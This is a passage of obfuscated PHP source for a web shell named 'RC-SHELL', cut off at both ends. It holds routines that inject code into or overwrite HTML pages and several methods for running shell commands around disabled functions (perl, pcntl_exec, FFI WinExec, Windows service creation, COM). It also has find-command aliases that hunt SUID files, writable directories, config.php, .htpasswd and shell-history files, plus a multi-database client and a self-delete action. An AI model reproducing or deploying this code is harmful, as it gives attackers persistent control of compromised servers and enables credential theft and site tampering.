@substr($c, $p); break; case "html1": $p = @strpos($c, "<html>"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "html2": $p = @strpos($c, "</html>"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "html3": $p = @strpos($c, "<html>"); if ($p === false) { return false; } $p += 6; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "html4": $p = @strpos($c, "</html>"); if ($p === false) { return false; } $p += 7; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "body1": if (!@preg_match("/<body[^>]*>/", $c, $m)) { return false; } $p = @strpos($c, $m[0]); $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "body2": $p = z2m($c, "</body>"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "body3": if (!@preg_match("/<body[^>]*>/", $c, $m)) { return false; } $p = @strpos($c, $m[0]); $p += @strlen($m[0]); $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "body4": $p = z2m($c, "</body>"); if ($p === false) { return false; } $p += 7; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "overwrite": $r = $inj; break; default: return false; break; } return z9y($f, $r); } goto qAZ8j; HuIOw: function z9o($f, $t = '') { global $tempdir; $s = ''; if (!$t) { $t = @tempnam($tempdir, "copytemp"); } if (@copy("compress.zlib://" . $f, $t)) { $s = z9p($t); @unlink($t); } return $s; } goto YWujY; fh7cI: function z4t() { global $use_images, $use_buffer, $act, $bcopy, $bcut, $showbuf, $d, $with_ls, $lswf, $filter; $f_a = array("all" => z9s("37"), "dirs" => z9s("38"), "files" => z9s("39"), "archives" => z9s("40"), "exes" => z9s("41"), "php" => z9s("42"), "html" => z9s("43"), "text" => z9s("44"), "images" => z9s("45"), "other" => z9s("46")); $fs = ''; foreach ($f_a as $fk => $f) { $fs .= z5c(array("act", "d", "showbuf", "filter" => $fk), z8v($f, @isset($filter) && $filter == $fk || !@isset($filter) && $fk == "all" ? "17" : "16")); } $ba = z5c(array("act", "d", "use_buffer" => $use_buffer ? "0" : "1"), z8v($use_buffer ? z9s("50") : z9s("49"), "16")); if ($use_buffer && (@count($bcopy) > 0 || @count($bcut) > 0)) { $bbcopy = @count($bcopy) > 0; $bbcut = @count($bcut) > 0; $ba .= z5c(array("act" => "ls", "d", "emptybuf" => "1"), z8v(z9s("51"), "16")) . (!@isset($showbuf) || !$showbuf ? z5c(array("act" => "ls", "d", "showbuf" => "1"), z8v(z9s("52"), "16")) . ($bbcopy ? z5c(array("act" => "d", "d", "dt" => "bpastecopy", "showbuf"), z8v(z9s("54"), "16")) : '') . ($bbcut ? z5c(array("act" => "d", "d", "dt" => "bpastecut", "showbuf"), z8v(z9s("55"), "16")) : '') . ($bbcopy && $bbcut ? z5c(array("act" => "d", "d", "dt" => "bpasteall", "showbuf"), z8v(z9s("56"), "16")) : '') : z5c(array("act" => "ls", "d"), z8v(z9s("53"), "16"))); } if (!@isset($lswf)) { $lswf = ''; } echo z10e(z7i(z6x($fs . z5c(array("act", "d", "showbuf", "use_images" => $use_images ? "0" : "1"), z8v($use_images ? z9s("48") : z9s("47"), "16")) . $ba, "11")), "7"); } goto yoSRB; qQxE4: function z2s($a = array()) { $r = ''; foreach ($a as $k => $v) { $r .= @is_numeric($k) ? z9b($v) : z9b($k, $v); } return $r; } goto Z5JLV; KbUAe: function z0c() { $p = array(); if (@count($_POST) > 0) { foreach ($_POST as $n => $v) { if (@substr($n, 0, 5) != "backf") { $p[$n] = $v; } } } return $p; } goto Ix9f2; yPU8P: function z10y($h, $n, $c = '', $t = '') { return "<a href="" . $h . """ . ($c != '' ? " class="" . z4m($c, "5") . """ : '') . ($t != '' ? " target="_blank"" : '') . ">" . $n . "</a>"; } goto Df8cq; nwK3r: function z5y($i, $t, $n, $v = "1", $o = '') { return z9g($n, $v, $o, $i) . z6e($i, $t); } goto jDx2x; aiZry: function z7y($i, $v, $c = '', $id = '') { return z6f($v, $c, $id) . $i . z7u(); } goto BgZlS; be60l: function z5z($c = '', $s = '') { return z5l("left", $c, $s); } goto CqH_3; Qzybk: function z5d($sk) { global $backf, $white, $back_form_actions; z0o($sk); if (@isset($backf) && $backf) { @array_pop($_SESSION[$sk]); } elseif (!@isset($white) || !$white) { z0f($sk); } $back = z3d($sk); if (z2l($sk) > 10) { z3o($sk); } $a = array(); if (@count($back) > 0) { $a["backf"] = "1"; if (@is_array($back)) { foreach ($back as $k => $v) { $a["backf_" . $k] = @urlencode($v); } } } $back_form_actions = $a; return z6x(@count($a) > 0 ? z5c($a, z8v(z9s("23"), "15")) : z8v(z9s("23"), "5"), "5"); } goto s1vCu; ZAtqh: if (z7r("disk_free_space") && z7r("disk_total_space")) { $free = @disk_free_space($d); $total = @disk_total_space($d); if ($free === false) { $free = 0; } if ($total === false) { $total = 0; } if ($free < 0) { $free = 0; } if ($total < 0) { $total = 0; } $dfree = @str_replace(" ", '', z7c($free)); $dtotal = @str_replace(" ", '', z7c($total)); $dused = @str_replace(" ", '', z7c($total - $free)); } goto Fgj6F; qpEVy: function z6v($c) { global $win, $tempdir; $r = ''; if (!empty($c)) { if (!$win) { if (extension_loaded("perl")) { @ob_start(); $p = new perl(); $p->eval("system('{$c}')"); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("pcntl_exec") && z7r("pcntl_fork")) { $r = "[~] Blind Command Execution via [pcntl_exec]\n\n"; $o = $tempdir . uniqid("pcntl"); $pid = @pcntl_fork(); if ($pid == -1) { $r .= "[-] Could not fork. Exit"; } elseif ($pid) { $r .= @pcntl_wifexited($status) ? "[+] Done! Command "" . $c . "" successfully executed." : "[-] Error. Incorrect Command."; } else { $c = array(" -e 'system("{$c} > {$o}")'"); if (@pcntl_exec("/usr/bin/perl", $c)) { die(0); } if (@pcntl_exec("/usr/local/bin/perl", $c)) { die(0); } die; } $r = z9p($o); @unlink($o); } } else { $o = $tempdir . uniqid("NJ"); if (extension_loaded("ffi")) { $a = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $r = $a->WinExec("cmd.exe /c " . z6l($c) . " >"{$o}"", 0); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded("win32service")) { $s = uniqid("NJ"); @win32_create_service(array("service" => $s, "display" => $s, "path" => "c:\windows\system32\cmd.exe", "params" => "/c " . z6l($c) . " >"{$o}"")); @win32_start_service($s); @win32_stop_service($s); @win32_delete_service($s); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded("win32std")) { @win_shell_execute("..\..\..\..\..\..\..\windows\system32\cmd.exe /c " . z6l($c) . " > "" . $o . """); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } else { $a = new COM("WScript.Shell"); $a->Run("c:\windows\system32\cmd.exe /c " . z6l($c) . " > "" . $o . """); $r = z9p($o); } @unlink($o); } } return $r; } goto YOLQZ; T7kQH: $findaliases = array("find suid files" => "find %path% -type f -perm -04000 -ls 2>/dev/null", "find sgid files" => "find %path% -type f -perm -02000 -ls 2>/dev/null", "find writable dirs" => "find %path% -perm -2 -type d -ls 2>/dev/null", "find writable files" => "find %path% -perm -2 -type f -ls 2>/dev/null", "find writable links" => "find %path% -perm -2 -type l -ls 2>/dev/null", "find writable dirs/files/links" => "find %path% -perm -2 -ls 2>/dev/null", "find config* files" => "find %path% -type f -name 'config*'", "find config.php files" => "find %path% -type f -name config.php", "find config.inc.php files" => "find %path% -type f -name config.inc.php", "find service.pwd files" => "find %path% -type f -name service.pwd", "find .htpasswd files" => "find %path% -type f -name .htpasswd", "find .bash history" => "find %path% -type f -name .bash_history", "find .mysql history" => "find %path% -type f -name .mysql_history", "find fetchmailrc" => "find %path% -type f -name .fetchmailrc"); goto yeVKG; s4IAm: function z1g() { foreach (array("bcopy", "bcut") as $t) { global ${$t}; if (@isset($_SESSION[$t])) { ${$t} = $_SESSION[$t]; } elseif (($c = z1u($t)) != '') { ${$t} = @unserialize($c); } else { ${$t} = array(); } } } goto zGSMC; sKj2u: function z5q() { return "</textarea>"; } goto s70Qt; mFupx: function z7o($u, $t = '', $m = "GET") { return "<form method="" . $m . "" action="" . $u . """ . ($t != '' ? " target="_blank"" : '') . ">"; } goto tL2GR; qBrUh: function z6y($t, $c = '') { return "<span class="" . $c . "">" . $t . "</span>"; } goto wEoeY; wF1i2: function z9e() { global $nix, $sh_exec, $dtotal, $dfree, $dused, $win; $it = @intval($dtotal); $iu = @intval($dused); $used = @round($iu / $it * 100); $r = array(array(z2g($used), z9s("426", $dtotal) . " " . z9s("429", $dused) . " (" . $used . "%) " . z9s("465", $dfree))); if ($win && z7r("disk_free_space") && z7r("disk_total_space")) { $tr = array(); foreach (@range("B", "Z") as $let) { if (z4q($let . ":/")) { $free = @disk_free_space($let . ":/"); $total = @disk_total_space($let . ":/"); if ($free === false) { $free = 0; } if ($total === false) { $total = 0; } if ($free < 0) { $free = 0; } if ($total < 0) { $total = 0; } $used = $total - $free; $pused = @round($used / $total * 100); $tr[$let . ":"] = array(z2g($pused), z9s("426", z7c($total)) . " " . z9s("429", z7c($used)) . " (" . $pused . "%) " . z9s("465", z7c($free))); } } if (@count($tr) !== 0) { $r = $tr; } } elseif ($nix && $sh_exec) { $df = z9t("df -B1"); if (!@empty($df)) { $e = @explode("
", $df); @array_shift($e); $tr = array(); foreach ($e as $l) { $p = @preg_split("/ /", $l, NULL, PREG_SPLIT_NO_EMPTY); if (@count($p) !== 6) { break; } $used = @round($p[2] / $p[1] * 100); $tr[$p[5]] = array(z2g($used), z9s("426", z7c($p[1])) . " " . z9s("429", z7c($p[2])) . " (" . $used . "%) " . z9s("465", z7c($p[3])) . " FS: " . $p[0]); } if (@count($tr) !== 0) { $r = $tr; } } } return $r; } goto hrwR0; qT87w: function z1t($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= "\x" . @sprintf("%02X", @ord($p[$i])); } return @substr(@preg_replace("/.{1,76}/", "'\0'.
", $r), 0, -2); return @chunk_split($r); } goto i2NpH; l60kI: function z1z($n, $v = '', $e = 0, $p = '', $d = '', $s = false, $h = false) { $_COOKIE[$n] = $v; return @setcookie($n, $v, $e, $p, $d, $s, $h); } goto aXDYP; JqvWJ: function unset_buffer() { if (@isset($_SESSION["buffer"])) { unset($_SESSION["buffer"]); } } goto gKcxD; EFPMm: if ($act == "search") { $ftarget = 1; $fullpath = 1; if (!@isset($s_in) || @empty($s_in)) { $s_in = $d; } if (!@isset($sn) || @empty($sn)) { $sn = "(.*)"; $sn_reg = 1; } if (!@isset($sn_reg)) { $sn_reg = ''; } if (!@isset($st)) { $st = ''; } if (!@isset($st_reg)) { $st_reg = ''; } if (!@isset($st_wwo)) { $st_wwo = ''; } if (!@isset($st_cs)) { $st_cs = ''; } if (!@isset($st_not)) { $st_not = ''; } if (!@isset($s_fd)) { $s_fd = ''; } if (!@isset($s_rec)) { $s_rec = "1"; } if (!@isset($find_text) || @empty($find_text)) { $find_text = "text"; } if (!@isset($find_in_dir) || @empty($find_in_dir)) { $find_in_dir = $d; } if (!@isset($find_in_files) || @empty($find_in_files)) { $find_in_files = "*.php;*.txt"; } z0d(); if (@isset($submit) && $submit) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $ar = array("sn" => $sn, "sn_reg" => $sn_reg, "st" => $st, "st_reg" => $st_reg, "st_wwo" => $st_wwo, "st_cs" => $st_cs, "st_not" => $st_not, "s_fd" => $s_fd); $in = @array_unique(@explode(";", $s_in)); foreach ($in as $v) { $sdir = $v; z5f($v); } if (@count($found) == 0) { echo z2b(z9s("160")); } else { $nolsmenu = 1; $nohead = 1; $ls_a = $found; $act = "ls"; } } } goto m_ZPO; vn22N: function z8h($v, $c = '', $o = '') { return "<input type="text" value="" . z8x($v) . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($o != '' ? z9k() : '') . ">"; } goto rspvC; C3dIh: function z4j($f) { return z2r($f, "d"); } goto HpxPY; s70Qt: function z9l($t = '', $n = '') { return "<form method="POST" action=""" . ($t != '' ? " target="_blank"" : '') . ($n != '' ? " name="" . $n . "" id="" . $n . """ : '') . ">"; } goto gUbZN; kBIfF: if ($nix && $sh_exec) { if (!@isset($cmd_tar)) { if (@isset($_SESSION["cmd_tar"])) { $cmd_tar = $_SESSION["cmd_tar"]; } else { $cmd_tar = z8u("tar"); } } $_SESSION["cmd_tar"] = $cmd_tar; if (!@isset($cmd_unrar)) { if (@isset($_SESSION["cmd_unrar"])) { $cmd_unrar = $_SESSION["cmd_unrar"]; } else { $cmd_unrar = z8u("unrar"); } } $_SESSION["cmd_unrar"] = $cmd_unrar; if (!@isset($cmd_unzip)) { if (@isset($_SESSION["cmd_unzip"])) { $cmd_unzip = $_SESSION["cmd_unzip"]; } else { $cmd_unzip = z8u("unzip"); } } $_SESSION["cmd_unzip"] = $cmd_unzip; if (!@isset($cmd_gunzip)) { if (@isset($_SESSION["cmd_gunzip"])) { $cmd_gunzip = $_SESSION["cmd_gunzip"]; } else { $cmd_gunzip = z8u("gunzip"); } } $_SESSION["cmd_gunzip"] = $cmd_gunzip; if (!@isset($cmd_bunzip2)) { if (@isset($_SESSION["cmd_bunzip2"])) { $cmd_bunzip2 = $_SESSION["cmd_bunzip2"]; } else { $cmd_bunzip2 = z8u("bunzip2"); } } $_SESSION["cmd_bunzip2"] = $cmd_bunzip2; if (!@isset($reg_archives)) { if (@isset($_SESSION["reg_archives"])) { $reg_archives = $_SESSION["reg_archives"]; } else { $reg_archives = ''; if (!@empty($cmd_unrar)) { $reg_archives .= "rar|"; } if (!@empty($cmd_unzip)) { $reg_archives .= "zip|"; } if (!@empty($cmd_tar) && !@empty($cmd_gunzip)) { $reg_archives .= "tar.gz|tgz|"; } if (!@empty($cmd_tar) && !@empty($cmd_bunzip2)) { $reg_archives .= "tar.bz2|"; } if (!@empty($cmd_tar)) { $reg_archives .= "tar|"; } if (!@empty($cmd_gunzip)) { $reg_archives .= "gz|"; } if (!@empty($cmd_bunzip2)) { $reg_archives .= "bz2|"; } if (!@empty($reg_archives)) { $reg_archives = @substr($reg_archives, 0, @strlen($reg_archives) - 1); } } } $_SESSION["reg_archives"] = $reg_archives; } goto NaQu7; NRBeg: if ($act == "selfremove") { if (@isset($dconfirm) && $dconfirm) { if ($saddr != "127.0.0.1") { echo z2b(@unlink(__FILE__) ? z9s("462") : z9s("463", __FILE__)); } } else { echo z2b(z9s("460")); echo z6d() . z10e(z7i(z6x(z8e(z9s("461")) . z5c(array("act" => "selfremove", "d", "dconfirm" => "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s("22"), "7")))), "2") . z6d(); } } goto kMxJ6; h2iHX: function z3l($login = 0) { global $act, $use_images, $sh_exec, $safe_exec, $ft, $nogradient; echo "<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
" . ($use_images ? "<link rel="shortcut icon" href="?act=i&img=exe">" : '') . "
" . (!$login ? "<title>[ RC-SHELL v" . z7x("0") . (!@empty($_SERVER["SERVER_NAME"]) ? " - " . $_SERVER["SERVER_NAME"] : '') . (!@empty($_SERVER["SERVER_ADDR"]) ? " - " . $_SERVER["SERVER_ADDR"] : '') . " ]</title>" : "<title>" . z9s("0") . "</title>") . "\xa<style type="text/css">\xabody, table, tr, td, div, select, input, textarea, pre, code { font: 100% " . z9w("fontfam") . "; text-decoration: none; }\xatd, div { max-width: " . z7x("5", "width") . "px; }
input, select, textarea { border: 0; padding: 0; }\xainput, select, textarea { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -ms-box-sizing: border-box; }\xainput::-moz-focus-inner { border: 0;padding: 0; }
body { background-color: " . z9w("bodybg") . "; font-family: " . z9w("fontfam") . " !important; font-size: 10px !important; color: " . z9w("fontcolor") . ";}\xa*:focus {outline: none;}
.but1, .but2, .but3, .actbut, .but1:active, .but2:active, .but3:active .actbut:active { border: 1px solid #cccccc; margin-left: 1px; text-shadow: 1px 1px 2px #ffffff; vertical-align: middle; }\xa.but1, .but2, .but3, .actbut { " . z2o("#F5F5F5", "#E0E0E0") . " }\xa.but1:hover, .but2:hover, .but3:hover, .actbut:hover { " . z2o("#E0E0E0", "#F5F5F5") . " cursor: pointer; }\xa.but1 { width: 28px; height: 18px; font-size: 10px; font-weight: bold; }
.but2 { color: #4F4F4F; padding: 0 10px 0 10px; height: 20px; font-size: 10px; }
.actbut { color: #4F4F4F; padding: 0 10px 0 10px; height: 18px; font-size: 10px; font-weight: normal; }
" . ($login ? "\xa.login { background: " . z9w("tablebg") . "; border: 1px solid " . z9w("tableborder") . "; -moz-box-shadow: " . z9w("tableshadow") . " 0 0 8px; -webkit-box-shadow: 0 0 8px " . z9w("tableshadow") . "; box-shadow: 0 0 8px " . z9w("tableshadow") . "; margin-top: 150px; padding: 10px; text-align: left; }\xa.login td { padding: 0; }
.login input { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; height:20px; width:150px; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }\xa.lerror { color: " . z9w("errcolor") . "; padding-bottom: 10px !important; }
" : "\xa.container { background: " . z9w("tablebg") . "; width: " . z7x("5", "width") . "px; border: 1px solid " . z9w("tableborder") . "; -moz-box-shadow: " . z9w("tableshadow") . " 0 0 8px; -webkit-box-shadow: 0 0 8px " . z9w("tableshadow") . "; box-shadow: 0 0 8px " . z9w("tableshadow") . "; }\xaform { display: inline; }
label { display: inline-block; vertical-align: baseline; }
a { text-decoration: none; }\xa.links, .links:active, .links:visited { background-color: transparent; color: " . z9w("tlinkcolor") . "; text-shadow: 1px 1px 3px " . z9w("tlinkshadow") . "; padding: 0; font-size: 10px; font-weight:normal; vertical-align: middle; vertical-align: inherit !important; }
.links:hover { color: " . z9w("tlinkcolorhover") . "; cursor: pointer; }
.slinks { background-color: transparent; color: " . z9w("dircolor") . "; font-size: 11px; font-weight: normal; }
.slinks:hover { cursor: pointer; }\xa.sinfo { width: 100%; }\xa.tdsinfo { " . z2o(z9w("tbarbg1"), z9w("tbarbg2")) . " border-bottom: 1px solid " . z9w("tbarborderb") . "; border-top: 1px solid " . z9w("tbarbordert") . "; padding: 4px; }\xa.tdsinfo .links { font-size: 9px; }\xa.tdsinfo span { vertical-align: middle; }\xa.topcf { vertical-align: middle; }\xa.topt { " . z2o(z9w("topbg1"), z9w("topbg2")) . " border-top: 1px solid " . z9w("topborder1") . "; color: " . z9w("topcolor") . "; text-shadow: 1px 1px 5px " . z9w("topshadow") . "; padding-top: 10px; font-size: 9px; font-weight: bold; vertical-align: middle; }\xa.topc { background: " . (@isset($nogradient) && $nogradient ? z9w("topbg1") : z9w("topbg2")) . "; color: " . z9w("topcolor") . "; padding-bottom: 10px; vertical-align: middle; }\xa.nav { " . z2o("#ffffff", "#f3f3f3") . " border-bottom: 1px solid #f0f0f0; padding: 2px 0 2px 2px; width: 100%; }\xa.footer { width: 100%; }
.tdfooter { " . z2o(z9w("footerbg1"), z9w("footerbg2")) . " border-top: 1px solid " . z9w("footerborder1") . "; padding: 3px; color: " . z9w("footercolor") . "; text-shadow: 1px 1px 5px " . z9w("footershadow") . "; font-size: 9px; font-weight: bold; vertical-align: middle; }\xa.headnfo { width: 100%; }\xa.ql { width: 100%; }\xa.tdql { background-color: transparent; border-top: 1px solid " . z9w("qlbg2") . "; border-bottom: 3px solid #E0E0E0; }\xa.ql1, .ql2, .qlback { font-size: 10px; font-weight: bold; }
.ql1 { " . z2o("#fefefe", "#E0E0E0", 1) . " border: 1px solid #EFEAEF; border-bottom: 0; color: #030303; width:100%; height: 22px; text-shadow: #cccccc 2px -1px 10px; }\xa.ql2 { " . z2o(z9w("qlbg1"), z9w("qlbg2"), 1) . " color: " . z9w("qlcolor") . "; border-top: 1px solid " . z9w("qlborder") . "; border-left: 0; border-right: 0; border-bottom: 1px solid #EFEAEF; width:100%; height: 22px; text-shadow: " . z9w("qlshadow") . " 2px -1px 10px; }\xa.qlback { " . z2o(z9w("qlbg1"), z9w("qlbg2"), 1) . " border-top: 1px solid " . z9w("qlborder") . "; border-bottom: 1px solid #EFEAEF; color: " . z9w("qlcolor") . "; width:100%; text-shadow: " . z9w("qlshadow") . " 2px -1px 10px; height: 22px; cursor: pointer; }\xa.ql1:hover { cursor:pointer; }\xa.ql2:hover, .qlback:hover { color: " . z9w("qlcolorhover") . "; cursor: pointer; }
.size1, .size2, .size3, .size4, .size5, .size6, .size7, .size8, .size9, .size10 { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }
.size1, .size2, .size3, .size5, .size6, .size7, .size8, .size9, .size10 { height: 20px;}
.size1 { width: 300px; }
.size2 { width: 65px; }\xa.size3 { width: 200px; }
.size4 { width: 65px; height: 18px; }
.size5 { width: 100px; }\xa.size6 { width: 150px; }
.size7 { width: 40px; }
.size8 { width: 99%; min-width: 370px; }\xa.size9 { width: 205px; }
.size10 { width: 550px; }\xa.list1 { background: #F2f2f2; }\xa.list2 { background: #F5F5F5; }
.list3 { background: #E0E0E0; }
.list1:hover, .list2:hover { background-color: #E0E0E0; }
.list3:hover { background: #CCCCCC; }
.tdlsh1, .tdlsh2, .tdph { background-color: transparent; border-top: 1px solid #DDDDDD; border-right: 1px solid #FFFFFF; border-bottom: 1px solid #CCCCCC; border-left: 1px solid #CCCCCC; color: #333333; text-shadow: 1px 1px 3px #ffffff; height: 20px; }\xa.tdlsh1, .tdlsh2 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; }\xa.tdlsh1 { border-left: 0; min-width: 350px; }
.tdph { padding-left: 2px; }\xa.tdpl { background-color: transparent; border-left: 1px solid #dddddd; border-right: 1px solid #ffffff; padding: 2px; min-width: 40px; min-height: 20px; word-break: break-all; }\xa.head { background-color: transparent; border:0; min-width: 100%; color: #333333; text-shadow: 1px 1px 3px #ffffff; margin: 0; padding:0; font-size: 10px; font-weight: normal; text-align: left; }\xa.head:hover { cursor: pointer; }
.tdlsh1, .tdlsh2, .tdph { " . z2o("#F5F5F5", "#E0E0E0") . " height: 22px !important; }
.tdlsh1:hover, .tdlsh2:hover, .tdph:hover { " . z2o("#fefefe", "#dddddd") . " }\xa.tdlsf { padding-left: 2px; min-width: 300px; height: 20px; vertical-align: middle; }\xa.tdlsfn, .tdlsf1 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; vertical-align: middle; }
.tdlsf1 { border-left: 1px solid #FFFFFF; min-width: 200px; }\xa.tdhead { " . z2o("#E0E0E0", "#efefef", 1) . " border-top: 1px solid #f3f3f3; border-bottom: 1px solid #e0e0e0; border-right:0; color: #030303; padding-left: 3px; height: 20px; font-size: 9px; font-weight: bold; }
.tdhead td, .tdlbl { color: #333333; padding: 3px; font-weight: bold; text-shadow: 1px 1px 3px #ffffff; }\xa.tdlbl { width: 150px; }\xa.tdmail { padding: 0 10px 0 10px;}
img { vertical-align: middle; }\xa.fimg { border: 0; padding:0; padding-right:1px; vertical-align: middle; }
.tfilter { width: 100%; }
.tdfilter { " . z2o("#efefef", "#E0E0E0") . " border-top: 1px solid #fefefe; color: #333333; padding: 2px; font-weight: bold; }\xa.nr, .nw, .rw { background-color: transparent; font-weight:normal; text-tecoration: none; }\xa.nr { color: " . z9w("errcolor") . "; }\xa.nw { color: " . z9w("normalcolor") . "; }\xa.rw { color: " . z9w("okcolor") . "; }
.dirlist, .filelist { background-color: transparent; border: 0; padding: 0; min-width: 80%; font-size: 11px; text-decoration: none; text-align: left; vertical-align: middle !important; }\xa.dirlist { color: " . z9w("dircolor") . "; }
.filelist { color: " . z9w("normalcolor") . "; }
.dirlist:hover, .filelist:hover { cursor: pointer; }\xapre { background-color: #FAFAFA; color:#333333; border: 1px solid #CCCCCC; margin-top:0; padding: 5px; max-width: 1000px; max-height: 350px; text-align: left; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap !important; white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word; }\xapre code { display: block; }
.ftactive, .ftcompat, .ftother { " . z2o("#f3f3f3", "#cccccc") . " border: 1px solid #BBBBBB; margin:2px 1px 2px 0; padding: 2px 8px 2px 8px; height:20px; font-size: 10px !important; }\xa.ftactive:hover, .ftcompat:hover, .ftother:hover { " . z2o("#CCCCCC", "#F3F3F3") . " cursor: pointer; }
.ftactive { " . z2o("#CCCCCC", "#F3F3F3") . " color: #000000; }
.ftcompat { color: " . z9w("okcolor") . "; }\xa.ftother { color: " . z9w("normalcolor") . "; }\xa.mbut1, .mbut2 { border: 1px solid #BBBBBB; margin: 2px 1px 2px 0; padding: 1px 5px 1px 5px; height: 20px; font-size: 10px; }
.mbut1 { " . z2o("#F3F3F3", "#CCCCCC") . " }
.mbut2 { " . z2o("#CCCCCC", "#F3F3F3") . " }\xa.mbut1:hover, .mbut2:hover { " . z2o("#cccccc", "#f3f3f3") . " cursor: pointer; }
.iframe { background-color: #FFFFFF; border: 1px solid #CCCCCC; width: 99%; height: 300px; vertical-align: middle; }\xa.console { background-color: transparent; color: #333333; border: 0; width: 100%; height: 300px; }\xa.tgeneric, .tedit, .txmail { border: 1px solid #cccccc; margin-top: 0; margin-bottom: 1px; width: 99%; }
.tgeneric { height: 150px; }\xa.tedit { height: 300px; text-align: left; }
.txmail { margin-top: 1px; width: 100%; height: 100px; }\xa.tsql1, .tsql2 { border: 1px solid #CCCCCC; margin-left: 1px; width: 205px; height: 60px; }\xa.tsql2 { width: 99% !important; }\xa.tinj { border: 1px solid #CCCCCC; margin: 1px; width: 300px; height: 46px; }\xa.tahex { width: 99%; margin-bottom:1px;}\xa.thex1, .thex2, .thex3 { border: 1px solid #CCCCCC; padding-top:1px; padding-left:3px; font: 13px "monospace", monospace; line-height: 20px; text-align: left; }\xa.thex1 { color: #000000; }
.thex2 { background-color: #FFFFFF; border-left: 0; border-right: 0; }
.thex3 { color: #000000;}\xa.idimg, .ifimg { " . z0i("3") . " margin-right:2px; width: 16px; height: 16px; vertical-align: middle; }
.idimg { " . z2o(z9w("idirbg1"), z9w("idirbg2"), 1) . " border: 1px solid " . z9w("idirborder") . "; }
.ifimg { " . z2o(z9w("ifilebg1"), z9w("ifilebg2")) . " border: 1px solid " . z9w("ifileborder") . "; }
.idimg:hover, .ifimg:hover { cursor: pointer; }
.selector, .divls { max-height:350px; height:350px !important; overflow: auto; }\xa.selector { border-top: 1px solid #FFFFFF; }
.scroll { background-color: transparent; border:0; margin:0; padding:0; max-width: 1024px; max-height:350px; overflow-y: auto; overflow-x: auto; text-align:left; }
.dwidth { width: 99%; }
.barbg { " . z2o("#dddddd", "#ffffff") . " border:1px solid #cccccc; margin-right: 5px; padding:0; width:100px; height:7px; vertical-align:middle; float:left; }
.barfil { " . z2o("#85FF00", "#469F0B") . "; height:7px; padding:0; }\xa") . "\xa</style>
</head>
<body" . ($act == "cmd" ? " onload="document.command.cmd.focus();"" : '') . ">" . (@in_array($act, array("ls", "search", "ftp")) ? z3n() : '') . ($act == "f" && @isset($ft) && $ft == "edit" ? z1c() : '') . "\xa" . z7h($login ? "1" : "0") . z6g() . z7k(); } goto Hz31L; hvNLl: class my_sql { var $host = "localhost"; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch ($this->db) { case "MySQL": if (empty($this->port)) { $this->port = "3306"; } if (!@function_exists("mysql_connect")) { return 0; } $this->connection = @mysql_connect($this->host . ":" . $this->port, $this->user, $this->pass); if (is_resource($this->connection)) { return 1; } break; case "MSSQL": if (empty($this->port)) { $this->port = "1433"; } if (!@function_exists("mssql_connect")) { return 0; } $this->connection = @mssql_connect($this->host . "," . $this->port, $this->user, $this->pass); if ($this->connection) { return 1; } break; case "PostgreSQL": if (empty($this->port)) { $this->port = "5432"; } $str = "host='" . $this->host . "' port='" . $this->port . "' user='" . $this->user . "' password='" . $this->pass . "' dbname='" . $this->base . "'"; if (!@function_exists("pg_connect")) { return 0; } $this->connection = @pg_connect($str); if (is_resource($this->connection)) { return 1; } break; case "Oracle": if (!@function_exists("ocilogon")) { return 0; } $this->connection = @ocilogon($this->user, $this->pass, $this->base); if (is_resource($this->connection)) { return 1; } break; } return 0; } function select_db() { switch ($this->db) { case "MySQL": if (@mysql_select_db($this->base, $this->connection)) { return 1; } break; case "MSSQL": if (@mssql_select_db($this->base, $this->connection)) { return 1; } break; case "PostgreSQL": return 1; break; case "Oracle": return 1; break; } return 0; } function list_dbs() { $tmplist = array(); switch ($this->db) { case "MySQL": $this->res = @mysql_list_dbs($this->connection); while ($tmprow = @mysql_fetch_object($this->res)) { $tmplist[$tmprow->Database] = $tmprow->Database; } break; case "MSSQL": break; case "PostgreSQL": break; case "Oracle": break; } return $tmplist; } function query($query) { $this->res = $this->error = ''; switch ($this->db) { case "MySQL": if (false === ($this->res = @mysql_query("/*" . chr(0) . "*/" . $query, $this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else { if (is_resource($this->res)) { return 1; } } return 2; break; case "MSSQL": if (false === ($this->res = @mssql_query($query, $this->connection))) { $this->error = "Query error"; return 0; } else { if (@mssql_num_rows($this->res) > 0) { return 1; } } return 2; break; case "PostgreSQL": if (false === ($this->res = @pg_query($this->connection, $query))) { $this->error = @pg_last_error($this->connection); return 0; } else { if (@pg_num_rows($this->res) > 0) { return 1; } } return 2; break; case "Oracle": if (false 